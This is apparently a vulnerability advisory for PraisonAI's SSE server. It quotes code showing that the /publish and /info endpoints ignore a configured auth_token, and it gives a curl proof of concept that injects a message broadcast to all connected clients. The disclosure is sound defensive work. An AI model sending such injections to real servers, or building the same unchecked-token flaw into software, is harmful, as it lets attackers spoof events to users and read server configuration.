PraisonAI: Unauthenticated Event Injection via SSE `/publish` Endpoint

Summary

The SSE (Server-Sent Events) server in src/praisonai-agents/praisonaiagents/server/server.py exposes a /publish endpoint that broadcasts arbitrary messages to all connected clients without any authentication. The ServerConfig dataclass (line 24) defines an auth_token field, but this token is never validated in the /publish or /events request handlers. Any attacker with access to the SSE server port can inject arbitrary events into the SSE stream visible to all connected clients, or use /info to leak server configuration including connected client count.

Details

Vulnerable code (lines 164–180):

async def publish(request):
    try:
        data = await request.json()
        event_type = data.get("type", "message")
        event_data = data.get("data", {})

        self.broadcast(event_type, event_data)

        return JSONResponse({
            "success": True,
            "clients": len(self._clients),
        })

The auth_token field in ServerConfig (line 31):

@dataclass
class ServerConfig:
    ...
    auth_token: Optional[str] = None

This auth_token is never referenced in any request handler. The /publish endpoint processes any POST request regardless of authentication headers. The /info endpoint (line 182) also has no auth and returns server configuration including self.config.to_dict().

Routes registration (lines 190–194):

routes = [
    Route("/health", health, methods=["GET"]),
    Route("/events", events, methods=["GET"]),
    Route("/publish", publish, methods=["POST"]),
    Route("/info", info, methods=["GET"]),
]

No authentication middleware or token validation is applied to any route.

PoC

Setup: Start the SSE server (default port 8765). This is the documented server mode for streaming agent events.

Positive trigger — unauthenticated event injection:

# From any network-reachable host:
curl -X POST http://localhost:8765/publish \
  -H "Content-Type: application/json" \
  -d '{"type": "message", "data": {"text": "INJECTED: arbitrary content sent to all clients"}}'

Expected response:

{"success": true, "clients": 3}